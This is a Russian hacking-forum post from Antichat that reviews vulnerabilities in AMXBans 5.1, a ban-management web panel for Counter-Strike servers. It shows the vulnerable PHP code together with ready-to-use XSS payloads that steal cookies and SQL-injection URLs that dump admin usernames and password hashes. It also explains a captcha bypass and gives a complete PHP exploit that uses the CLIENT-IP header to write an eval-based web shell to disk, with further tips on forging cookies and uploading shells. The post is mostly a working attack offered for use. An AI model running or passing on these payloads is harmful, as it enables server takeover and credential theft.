Тема: Обзор AMXBans
Показать сообщение отдельно

Обзор AMXBans (часть 2)
  #2  
Старый 18.06.2009, 21:37
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию Обзор AMXBans (часть 2)

Итак проект AMXBans ожил и 15 марта была зарелизена новая версия (5.1). Для тех кто не в курсе: AMXBans - это очень популярная система управления банами и админами на серверах CS 1.6. В новой версии не исправили старых багов, лишь добавили новых.

XSS (register_globals=on)
PHP код:
$resource    mysql_query("SELECT access, nickname FROM $config->amxadmins WHERE ashow = '1' ORDER BY access ASC") or die(mysql_error());
while(
$result mysql_fetch_object($resource)) {

        
$amxadmins_info = array(
            
"access"    => $result->access,
            
"nickname"    => $result->nickname
            
);
    
        
$amxadmins_array[] = $amxadmins_info;
    }
...
$smarty->assign("amxadmin",isset($amxadmins_array) ? $amxadmins_array ""); 
/admins_list.php?amxadmins_array[999][nickname]=[XSS]

XSS
(так же актуально для предыдущей версии)
PHP код:
$smarty->assign("this",$_SERVER['PHP_SELF']); 
/admin/add_ban.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Path disclosure
PHP код:
session_start();
...
if(
mysql_num_rows($resource) == 0) {
        
trigger_error("Can't find ban with given ID."E_USER_NOTICE);
    } else { 
/ban_details_ex.php?bhid=-1
или измененное значение сессии.

SQL-injection
PHP код:
    $bhid $_GET['bhid'];
    
$resourcec    mysql_query("SELECT id, name, comment, email, addr, date FROM $config->amxcomments WHERE bhid =".mysql_escape_string($bhid)." ORDER BY date ASC") or die(mysql_error()); 
/ban_details_ex.php?bhid=-1+union+select+1,2,concat_ws(0x3a,username,passwor d,logcode),4,5,6+from+amx_webadmins

SQL-injection (register_globals=on)
PHP код:
    $where[] = "address != 'localhost:27000'";


$resource mysql_query("SELECT * FROM $config->servers WHERE ".implode(" AND ",$where)." ORDER BY hostname ASC") or die (mysql_error()); 
/live.php?where[]=0+union+select+1,2,concat_ws(0x3a,username,passwo rd),4,5,6,7,8,9,10+from+amx_webadmins--+

Blind SQL-injection exploit
Скуль присутствует в ban_details.php и ban_details_ex.php, только ее необходимость многие могли бы поставить под сомнение, тк выше уже была описана инъекция с выводом. Но если File_priv = y, тогда можно залить шелл.
Разработчики добавили возможность комментировать баны, и чтобы банлист не спамили, они прикрутили каптчу. Вот только реализовали они ее хреново:
PHP код:
$rand mt_rand(1000000,9999999); 
$rand base64_encode($rand); 
$rand substr($rand07).""
$rand str_replace("J""Z"$rand); 
$rand str_replace("I""Y"$rand); 
$rand str_replace("j""z"$rand); 
$rand str_replace("i""y"$rand); 

if(!isset(
$_POST[action]) && $_POST[action] != "insert"){ 
    unset(
$_SESSION['code']); 
    
$_SESSION['code'] = "$rand"
}
...
if(
$_POST['verify'] != $_SESSION['code']){ 
         
$url      "$config->document_root"
         
$delay   "5"
         echo 
"Incorrect security code, please try again!";
         if(isset(
$_GET["bhid"])) {
            
$bhid $_GET['bhid'];
            echo 
"<meta http-equiv=\"refresh\" content=\"".$delay.";url=\"ban_details_ex.php?bhid=$bhid\">";
        }
         exit(); 

Т.е. если сразу постить, код капчи не сгенерируется и будет равен пустой строке, следовательно каптча - не помеха. Сама уязвимость:
PHP код:
if ((isset($_POST['action'])) && ($_POST['action'] == "insert")) {

if (
$_SERVER['HTTP_CLIENT_IP'])
{
    
$user_ip $_SERVER['HTTP_CLIENT_IP'];

else if (
$_SERVER['HTTP_X_FORWARDED_FOR'])
{
    
$user_ip $_SERVER['HTTP_X_FORWARDED_FOR'];

else if (
$_SERVER['REMOTE_ADDR'])
{
    
$user_ip $_SERVER['REMOTE_ADDR'];

else
{
    
$user_ip "";
}

...

$name $_POST['name'];
$comment $_POST['comment'];
$email $_POST['email'];
$bhid=$_GET["bhid"];

    
$time time();
        
$contact_flood=5*60;

    if(isset(
$_GET['bhid'])) {
         
$bhid $_GET["bhid"];
        
$sql mysql_query("SELECT date FROM $config->amxcomments WHERE addr = '".$user_ip."' AND bhid = '".$bhid."' ORDER BY date DESC LIMIT 0, 1");
    } 
Ну и сам простенький сплойт:
PHP код:
<?php
$url 
'http://test/amxbans51/';
$text '<?php eval($_GET[c]);?>';
$path '/Library/WebServer/test/amxbans51/';
$file 'demos/shell.php';

$postdata http_build_query(
    array(
        
'action' => 'insert',
        
'verify' => ""
    
)
);
$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => "Content-type: application/x-www-form-urlencoded\r\n"
                    
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
        
'content' => $postdata
    
)
);
$context stream_context_create($opts);
@
file_get_contents($url.'ban_details.php?bhid=-1'false$context);
echo 
"Check: ".$url.$file."\n";
?>
ps1: если на сервере стоит AMXBans это железобетонно означает, что на сервере magic_quotes=on
ps2: если не удастся найти пароль по хешу, можно составить куку.
ps3: шелл прекрасно льется через /admin/demo.php
__________________
включи голову

Последний раз редактировалось oRb; 15.11.2009 в 17:00..
 
Ответить с цитированием